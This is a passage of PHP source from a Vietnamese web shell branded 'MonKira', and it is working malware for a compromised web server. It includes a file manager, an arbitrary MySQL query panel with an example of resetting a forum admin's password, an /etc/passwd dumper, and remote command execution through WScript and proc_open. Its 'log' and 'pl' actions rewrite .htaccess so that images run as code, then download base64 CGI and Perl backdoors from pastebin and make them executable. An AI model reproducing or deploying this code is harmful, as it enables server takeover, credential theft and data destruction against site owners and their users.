810 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
811 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Thư mục gốc</a>');
812 if ($view_writable) {
813 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Xem tất cả</a>');
814 } else {
815 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ xem thư mục</a>');
816 }
817 p(' | <a href="javascript:createdir();">Tạo thư mục mới</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo file mới</a>');
818 if (IS_WIN && IS_COM) {
819 $obj = new COM('scripting.filesystemobject');
820 if ($obj && is_object($obj)) {
821 $DriveTypeDB = array(
822 0 => 'Unknow',
823 1 => 'Removable',
824 2 => 'Fixed',
825 3 => 'Network',
826 4 => 'CDRom',
827 5 => 'RAM Disk'
828 );
829 foreach ($obj->Drives as $drive) {
830 if ($drive->DriveType == 2) {
831 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
832 } else {
833 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
834 }
835 }
836 }
837 }
838 p('</td></tr></form>');
839 p('<tr class="head"><td> </td><td>Tên file</td><td width="16%">Sửa lần cuối</td><td width="10%">Kích thước</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
840 $dirdata = array();
841 $filedata = array();
842 if ($view_writable) {
843 $dirdata = GetList($nowpath);
844 } else {
845 $dirs = @opendir($dir);
846 while ($file = @readdir($dirs)) {
847 $filepath = $nowpath . $file;
848 if (@is_dir($filepath)) {
849 $dirdb['filename'] = $file;
850 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
851 $dirdb['dirchmod'] = getChmod($filepath);
852 $dirdb['dirperm'] = getPerms($filepath);
853 $dirdb['fileowner'] = getUser($filepath);
854 $dirdb['dirlink'] = $nowpath;
855 $dirdb['server_link'] = $filepath;
856 $dirdb['client_link'] = ue($filepath);
857 $dirdata[] = $dirdb;
858 } else {
859 $filedb['filename'] = $file;
860 $filedb['size'] = sizecount(@filesize($filepath));
861 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
862 $filedb['filechmod'] = getChmod($filepath);
863 $filedb['fileperm'] = getPerms($filepath);
864 $filedb['fileowner'] = getUser($filepath);
865 $filedb['dirlink'] = $nowpath;
866 $filedb['server_link'] = $filepath;
867 $filedb['client_link'] = ue($filepath);
868 $filedata[] = $filedb;
869 }
870 }
871 unset($dirdb);
872 unset($filedb);
873 @closedir($dirs);
874 }
875 @sort($dirdata);
876 @sort($filedata);
877 $dir_i = '0';
878 foreach ($dirdata as $key => $dirdb) {
879 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
880 $thisbg = bg();
881 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
882 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
883 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
884 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
885 p('<td nowrap>MonKira</td>');
886 p('<td nowrap>');
887 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
888 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
889 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'MonKira muốn xóa??? ' . $dirdb['filename'] . '? \\n\\nTất cả file trong thư mục sẽ bị xóa??.\')">Xóa</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi tên</a></td>');
890 p('</tr>');
891 $dir_i++;
892 } else {
893 if ($dirdb['filename'] == '..') {
894 p('<tr class=fout>');
895 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Thư mục trước</a></td>');
896 p('</tr>');
897 }
898 }
899 }
900 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
901 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
902 makehide('action', 'file');
903 makehide('thefile');
904 makehide('doing');
905 makehide('dir', $nowpath);
906 $file_i = '0';
907 foreach ($filedata as $key => $filedb) {
908 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
909 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
910 $thisbg = bg();
911 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
912 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
913 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
914 p('<td nowrap>' . $filedb['mtime'] . '</td>');
915 p('<td nowrap>' . $filedb['size'] . '</td>');
916 p('<td nowrap>');
917 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
918 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
919 p('<td nowrap>');
920 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Tải về</a> | ');
921 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao chép</a> | ');
922 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Sửa</a> | ');
923 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Đổi tên</a> | ');
924 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Thời gian</a>');
925 p('</td></tr>');
926 $file_i++;
927 $file_i++;
928 }
929 }
930 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Tải về những mục đã chọn</a> - <a href="javascript:dofile(\'delfiles\');">Xóa </a></td><td colspan="4" align="right">' . $dir_i . ' Thư mục / ' . $file_i . ' files</td></tr>');
931 p('</form></table>');
932} // end dir
933
934
935?><script type="text/javascript">
936function mysqlfile(doing){
937 if(!doing) return;
938 $('doing').value=doing;
939 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
940 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
941 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
942 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
943 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
944 $('mysqlfile').charset.value=$('dbinfo').charset.value;
945 $('mysqlfile').submit();
946}
947</script>
948<?php
949 //setup php for working with Unicode data
950mb_internal_encoding('UTF-8');
951mb_http_output('UTF-8');
952mb_http_input('UTF-8');
953mb_language('uni');
954mb_regex_encoding('UTF-8');
955ob_start('mb_output_handler');
956if ($action == 'sqladmin') {
957 !$dbhost && $dbhost = 'localhost';
958 !$dbuser && $dbuser = 'root';
959 !$dbport && $dbport = '3306';
960 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
961 if (isset($dbhost)) {
962 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
963 }
964 if (isset($dbuser)) {
965 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
966 }
967 if (isset($dbpass)) {
968 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
969 }
970 if (isset($dbport)) {
971 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
972 }
973 if (isset($dbname)) {
974 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
975 }
976 if (isset($charset)) {
977 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
978 }
979 if ($doing == 'backupmysql' && $saveasfile) {
980 if (!$table) {
981 m('Please choose the table');
982 } else {
983 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
984 $table = array_flip($table);
985 $fp = @fopen($path, 'w');
986 if ($fp) {
987 $result = q('SHOW tables');
988 if (!$result)
989 p('<h2>' . mysql_error() . '</h2>');
990 $mysqldata = '';
991 while ($currow = mysql_fetch_array($result)) {
992 if (isset($table[$currow[0]])) {
993 sqldumptable($currow[0], $fp);
994 }
995 }
996 fclose($fp);
997 $fileurl = str_replace(SA_ROOT, '', $path);
998 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
999 mysql_close();
1000 } else {
1001 m('Backup failed');
1002 }
1003 }
1004 }
1005 if ($insert && $insertsql) {
1006 $keystr = $valstr = $tmp = '';
1007 foreach ($insertsql as $key => $val) {
1008 if ($val) {
1009 $keystr .= $tmp . $key;
1010 $valstr .= $tmp . "'" . addslashes($val) . "'";
1011 $tmp = ',';
1012 }
1013 }
1014 if ($keystr && $valstr) {
1015 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1016 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1017 }
1018 }
1019 if ($update && $insertsql && $base64) {
1020 $valstr = $tmp = '';
1021 foreach ($insertsql as $key => $val) {
1022 $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
1023 $tmp = ',';
1024 }
1025 if ($valstr) {
1026 $where = base64_decode($base64);
1027 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1028 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Cập nhật thành công' : mysql_error());
1029 }
1030 }
1031 if ($doing == 'del' && $base64) {
1032 $where = base64_decode($base64);
1033 $delete_sql = "DELETE FROM $tablename WHERE $where";
1034 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1035 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1036 }
1037 if ($tablename && $doing == 'drop') {
1038 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1039 if (q("DROP TABLE $tablename")) {
1040 m('Drop table of success');
1041 $tablename = '';
1042 } else {
1043 m(mysql_error());
1044 }
1045 }
1046 $charsets = array(
1047 '' => 'Default',
1048 'gbk' => 'GBK',
1049 'big5' => 'Big5',
1050 'utf8' => 'UTF-8',
1051 'latin1' => 'Latin1'
1052 );
1053 formhead(array(
1054 'title' => 'MYSQL Manager'
1055 ));
1056 makehide('action', 'sqladmin');
1057 p('<p>');
1058 p('DBHost:');
1059 makeinput(array(
1060 'name' => 'dbhost',
1061 'size' => 20,
1062 'value' => $dbhost
1063 ));
1064 p(':');
1065 makeinput(array(
1066 'name' => 'dbport',
1067 'size' => 4,
1068 'value' => $dbport
1069 ));
1070 p('DBUser:');
1071 makeinput(array(
1072 'name' => 'dbuser',
1073 'size' => 15,
1074 'value' => $dbuser
1075 ));
1076 p('DBPass:');
1077 makeinput(array(
1078 'name' => 'dbpass',
1079 'size' => 15,
1080 'value' => $dbpass
1081 ));
1082 p('DBCharset:');
1083 makeselect(array(
1084 'name' => 'charset',
1085 'option' => $charsets,
1086 'selected' => $charset
1087 ));
1088 makeinput(array(
1089 'name' => 'connect',
1090 'value' => 'Connect',
1091 'type' => 'submit',
1092 'class' => 'bt'
1093 ));
1094 p('</p>');
1095 formfoot();
1096?><script type="text/javascript">
1097function editrecord(action, base64, tablename){
1098 if (action == 'del') {
1099 if (!confirm('Is or isn\'t deletion record?')) return;
1100 }
1101 $('recordlist').doing.value=action;
1102 $('recordlist').base64.value=base64;
1103 $('recordlist').tablename.value=tablename;
1104 $('recordlist').submit();
1105}
1106function moddbname(dbname) {
1107 if(!dbname) return;
1108 $('setdbname').dbname.value=dbname;
1109 $('setdbname').submit();
1110}
1111function settable(tablename,doing,page) {
1112 if(!tablename) return;
1113 if (doing) {
1114 $('settable').doing.value=doing;
1115 }
1116 if (page) {
1117 $('settable').page.value=page;
1118 }
1119 $('settable').tablename.value=tablename;
1120 $('settable').submit();
1121}
1122</script>
1123<?php
1124 formhead(array(
1125 'name' => 'recordlist'
1126 ));
1127 makehide('doing');
1128 makehide('action', 'sqladmin');
1129 makehide('base64');
1130 makehide('tablename');
1131 p($dbform);
1132 formfoot();
1133 formhead(array(
1134 'name' => 'setdbname'
1135 ));
1136 makehide('action', 'sqladmin');
1137 p($dbform);
1138 if (!$dbname) {
1139 makehide('dbname');
1140 }
1141 formfoot();
1142 formhead(array(
1143 'name' => 'settable'
1144 ));
1145 makehide('action', 'sqladmin');
1146 p($dbform);
1147 makehide('tablename');
1148 makehide('page', $page);
1149 makehide('doing');
1150 formfoot();
1151 $cachetables = array();
1152 $pagenum = 30;
1153 $page = intval($page);
1154 if ($page) {
1155 $start_limit = ($page - 1) * $pagenum;
1156 } else {
1157 $start_limit = 0;
1158 $page = 1;
1159 }
1160 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1161 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1162 // get mysql server
1163 $mysqlver = mysql_get_server_info();
1164 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
1165 $highver = $mysqlver > '4.1' ? 1 : 0;
1166
1167 // Show database
1168 $query = q("SHOW DATABASES");
1169 $dbs = array();
1170 $dbs[] = '-- Select a database --';
1171 while ($db = mysql_fetch_array($query)) {
1172 $dbs[$db['Database']] = $db['Database'];
1173 }
1174 makeselect(array(
1175 'title' => 'Please select a database:',
1176 'name' => 'db[]',
1177 'option' => $dbs,
1178 'selected' => $dbname,
1179 'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
1180 'newline' => 1
1181 ));
1182 $tabledb = array();
1183 if ($dbname) {
1184 p('<p>');
1185 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
1186 if ($tablename) {
1187 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
1188 }
1189 p('</p>');
1190 mysql_select_db($dbname);
1191 $getnumsql = '';
1192 $runquery = 0;
1193 if ($sql_query) {
1194 $runquery = 1;
1195 }
1196 $allowedit = 0;
1197 if ($tablename && !$sql_query) {
1198 $sql_query = "SELECT * FROM $tablename";
1199 $getnumsql = $sql_query;
1200 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
1201 $allowedit = 1;
1202 }
1203 p('<form action="' . $self . '" method="POST">');
1204 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>RiOZanR</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1205 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1206 makehide('tablename', $tablename);
1207 makehide('action', 'sqladmin');
1208 p($dbform);
1209 p('</form>');
1210 if ($tablename || ($runquery && $sql_query)) {
1211 if ($doing == 'structure') {
1212 $result = q("SHOW COLUMNS FROM $tablename");
1213 $rowdb = array();
1214 while ($row = mysql_fetch_array($result)) {
1215 $rowdb[] = $row;
1216 }
1217 p('<table border="0" cellpadding="3" cellspacing="0">');
1218 p('<tr class="head">');
1219 p('<td>Field</td>');
1220 p('<td>Type</td>');
1221 p('<td>Null</td>');
1222 p('<td>Key</td>');
1223 p('<td>Default</td>');
1224 p('<td>Extra</td>');
1225 p('</tr>');
1226 foreach ($rowdb as $row) {
1227 $thisbg = bg();
1228 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1229 p('<td>' . $row['Field'] . '</td>');
1230 p('<td>' . $row['Type'] . '</td>');
1231 p('<td>' . $row['Null'] . ' </td>');
1232 p('<td>' . $row['Key'] . ' </td>');
1233 p('<td>' . $row['Default'] . ' </td>');
1234 p('<td>' . $row['Extra'] . ' </td>');
1235 p('</tr>');
1236 }
1237 tbfoot();
1238 } elseif ($doing == 'insert' || $doing == 'edit') {
1239 $result = q('SHOW COLUMNS FROM ' . $tablename);
1240 while ($row = mysql_fetch_array($result)) {
1241 $rowdb[] = $row;
1242 }
1243 $rs = array();
1244 if ($doing == 'insert') {
1245 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1246 } else {
1247 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1248 $where = base64_decode($base64);
1249 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1250 $rs = mysql_fetch_array($result);
1251 }
1252 p('<form method="post" action="' . $self . '">');
1253 p($dbform);
1254 makehide('action', 'sqladmin');
1255 makehide('tablename', $tablename);
1256 p('<table border="0" cellpadding="3" cellspacing="0">');
1257 foreach ($rowdb as $row) {
1258 if ($rs[$row['Field']]) {
1259 $value = htmlspecialchars($rs[$row['Field']]);
1260 } else {
1261 $value = '';
1262 }
1263 $thisbg = bg();
1264 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1265 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1266 }
1267 if ($doing == 'insert') {
1268 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1269 } else {
1270 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1271 makehide('base64', $base64);
1272 }
1273 p('</table></form>');
1274 } else {
1275 $querys = @explode(';', $sql_query);
1276 foreach ($querys as $num => $query) {
1277 if ($query) {
1278 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1279 switch (qy($query)) {
1280 case 0:
1281 p('<h2>Error : ' . mysql_error() . '</h2>');
1282 break;
1283 case 1:
1284 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1285 $allowedit = 1;
1286 }
1287 if ($getnumsql) {
1288 $tatol = mysql_num_rows(q($getnumsql));
1289 $multipage = multi($tatol, $pagenum, $page, $tablename);
1290 }
1291 if (!$tablename) {
1292 $sql_line = str_replace(array(
1293 "\r",
1294 "\n",
1295 "\t"
1296 ), array(
1297 ' ',
1298 ' ',
1299 ' '
1300 ), trim(htmlspecialchars($query)));
1301 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1302 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1303 $tablename = $matches[1][0];
1304 }
1305 $result = q($query);
1306 p($multipage);
1307 p('<table border="0" cellpadding="3" cellspacing="0">');
1308 p('<tr class="head">');
1309 if ($allowedit)
1310 p('<td>Action</td>');
1311 $fieldnum = @mysql_num_fields($result);
1312 for ($i = 0; $i < $fieldnum; $i++) {
1313 $name = @mysql_field_name($result, $i);
1314 $type = @mysql_field_type($result, $i);
1315 $len = @mysql_field_len($result, $i);
1316 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1317 }
1318 p('</tr>');
1319 while ($mn = @mysql_fetch_assoc($result)) {
1320 $thisbg = bg();
1321 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1322 $where = $tmp = $b1 = '';
1323 foreach ($mn as $key => $inside) {
1324 if ($inside) {
1325 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
1326 $tmp = ' AND ';
1327 }
1328 $b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
1329 }
1330 $where = base64_encode($where);
1331 if ($allowedit)
1332 p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1333 p($b1);
1334 p('</tr>');
1335 unset($b1);
1336 }
1337 tbfoot();
1338 p($multipage);
1339 break;
1340 case 2:
1341 $ar = mysql_affected_rows();
1342 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1343 break;
1344 }
1345 }
1346 }
1347 }
1348 } else {
1349 $query = q("SHOW TABLE STATUS");
1350 $table_num = $table_rows = $data_size = 0;
1351 $tabledb = array();
1352 while ($table = mysql_fetch_array($query)) {
1353 $data_size = $data_size + $table['Data_length'];
1354 $table_rows = $table_rows + $table['Rows'];
1355 $table['Data_length'] = sizecount($table['Data_length']);
1356 $table_num++;
1357 $tabledb[] = $table;
1358 }
1359 $data_size = sizecount($data_size);
1360 unset($table);
1361 p('<table border="0" cellpadding="0" cellspacing="0">');
1362 p('<form action="' . $self . '" method="POST">');
1363 makehide('action', 'sqladmin');
1364 p($dbform);
1365 p('<tr class="head">');
1366 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1367 p('<td>Name</td>');
1368 p('<td>Rows</td>');
1369 p('<td>Data_length</td>');
1370 p('<td>Create_time</td>');
1371 p('<td>Update_time</td>');
1372 if ($highver) {
1373 p('<td>Engine</td>');
1374 p('<td>Collation</td>');
1375 }
1376 p('</tr>');
1377 foreach ($tabledb as $key => $table) {
1378 $thisbg = bg();
1379 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1380 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1381 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1382 p('<td>' . $table['Rows'] . '</td>');
1383 p('<td>' . $table['Data_length'] . '</td>');
1384 p('<td>' . $table['Create_time'] . '</td>');
1385 p('<td>' . $table['Update_time'] . '</td>');
1386 if ($highver) {
1387 p('<td>' . $table['Engine'] . '</td>');
1388 p('<td>' . $table['Collation'] . '</td>');
1389 }
1390 p('</tr>');
1391 }
1392 p('<tr class=fout>');
1393 p('<td> </td>');
1394 p('<td>Total tables: ' . $table_num . '</td>');
1395 p('<td>' . $table_rows . '</td>');
1396 p('<td>' . $data_size . '</td>');
1397 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1398 p('</tr>');
1399
1400 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1401 makehide('doing', 'backupmysql');
1402 formfoot();
1403 p("</table>");
1404 fr($query);
1405 }
1406 }
1407 }
1408 tbfoot();
1409 @mysql_close();
1410} elseif ($action == 'etcpwd') {
1411 formhead(array(
1412 'title' => 'Get /etc/passwd'
1413 ));
1414 makehide('action', 'etcpwd');
1415 makehide('dir', $nowpath);
1416 $i = 0;
1417 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1418 while ($i < 60000) {
1419 $line = posix_getpwuid($i);
1420 if (!empty($line)) {
1421 while (list($key, $vba_etcpwd) = each($line)) {
1422 echo "" . $vba_etcpwd . "
1423";
1424 break;
1425 }
1426 }
1427 $i++;
1428 }
1429 echo "</textarea></p>";
1430 formfoot();
1431} elseif ($action == 'command') {
1432 if (IS_WIN && IS_COM) {
1433 if ($program && $parameter) {
1434 $shell = new COM('Shell.Application');
1435 $a = $shell->ShellExecute($program, $parameter);
1436 m('Program run has ' . (!$a ? 'success' : 'fail'));
1437 }
1438 !$program && $program = 'c:\indows\ystem32\md.exe';
1439 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1440 formhead(array(
1441 'title' => 'Execute Program'
1442 ));
1443 makehide('action', 'shell');
1444 makeinput(array(
1445 'title' => 'Program',
1446 'name' => 'program',
1447 'value' => $program,
1448 'newline' => 1
1449 ));
1450 p('<p>');
1451 makeinput(array(
1452 'title' => 'Parameter',
1453 'name' => 'parameter',
1454 'value' => $parameter
1455 ));
1456 makeinput(array(
1457 'name' => 'submit',
1458 'class' => 'bt',
1459 'type' => 'submit',
1460 'value' => 'Execute'
1461 ));
1462 p('</p>');
1463 formfoot();
1464 }
1465 formhead(array(
1466 'title' => 'Execute Command'
1467 ));
1468 makehide('action', 'shell');
1469 if (IS_WIN && IS_COM) {
1470 $execfuncdb = array(
1471 'phpfunc' => 'phpfunc',
1472 'wscript' => 'wscript',
1473 'proc_open' => 'proc_open'
1474 );
1475 makeselect(array(
1476 'title' => 'Use:',
1477 'name' => 'execfunc',
1478 'option' => $execfuncdb,
1479 'selected' => $execfunc,
1480 'newline' => 1
1481 ));
1482 }
1483 p('<p>');
1484 makeinput(array(
1485 'title' => 'Command',
1486 'name' => 'command',
1487 'value' => $command
1488 ));
1489 makeinput(array(
1490 'name' => 'submit',
1491 'class' => 'bt',
1492 'type' => 'submit',
1493 'value' => 'Execute'
1494 ));
1495 p('</p>');
1496 formfoot();
1497 if ($command) {
1498 p('<hr width="100%" noshade /><pre>');
1499 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1500 $wsh = new COM('WScript.shell');
1501 $exec = $wsh->exec('cmd.exe /c ' . $command);
1502 $stdout = $exec->StdOut();
1503 $stroutput = $stdout->ReadAll();
1504 echo $stroutput;
1505 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1506 $descriptorspec = array(
1507 0 => array(
1508 'pipe',
1509 'r'
1510 ),
1511 1 => array(
1512 'pipe',
1513 'w'
1514 ),
1515 2 => array(
1516 'pipe',
1517 'w'
1518 )
1519 );
1520 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1521 if (is_resource($process)) {
1522 fwrite($pipes[0], $command . "
1523");
1524 fwrite($pipes[0], "exit
1525");
1526 fclose($pipes[0]);
1527 while (!feof($pipes[1])) {
1528 echo fgets($pipes[1], 1024);
1529 }
1530 fclose($pipes[1]);
1531 while (!feof($pipes[2])) {
1532 echo fgets($pipes[2], 1024);
1533 }
1534 fclose($pipes[2]);
1535 proc_close($process);
1536 }
1537 } else {
1538 echo (execute($command));
1539 }
1540 p('</pre>');
1541 }
1542} elseif ($action == 'log') {
1543 mkdir('MonKira', 0755);
1544 chdir('MonKira');
1545 $kokdosya = ".htaccess";
1546 $dosya_adi = "$kokdosya";
1547 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1548 $metin = "Options +FollowSymLinks +Indexes
1549DirectoryIndex default.html
1550## START ##
1551Options +ExecCGI
1552AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1553AddType application/x-httpd-php .jpg
1554RewriteEngine on
1555RewriteRule (.*)\war$ .log
1556## END ##";
1557 fwrite($dosya, $metin);
1558 fclose($dosya);
1559 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=HcHMMXa5');
1560 $file = fopen("MonKiraCGI.log", "w+");
1561 $write = fwrite($file, base64_decode($pythonp));
1562 fclose($file);
1563 chmod("MonKiraCGI.log", 0755);
1564 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKiraCGI.log' target='_blank' style='color:red'>MonKiraCGI.log</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1565} elseif ($action == 'pl') {
1566 mkdir('MonKira', 0755);
1567 chdir('MonKira');
1568 $pythonp = file_get_contents('http://pastebin.com/raw.php?i=JshksKcP');
1569 $file = fopen("MonKira.pl", "w+");
1570 $write = fwrite($file, base64_decode($pythonp));
1571 fclose($file);
1572 chmod("MonKira.pl", 0755);
1573 echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='MonKira/MonKira.pl' target='_blank' style='color:red'>MonKira.pl</a></font></b></center><center><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>monkiradg</a></font>";
1574} elseif ($action == 'sa') {
1575 mkdir('MonKira', 0755);
1576 chdir('MonKira');
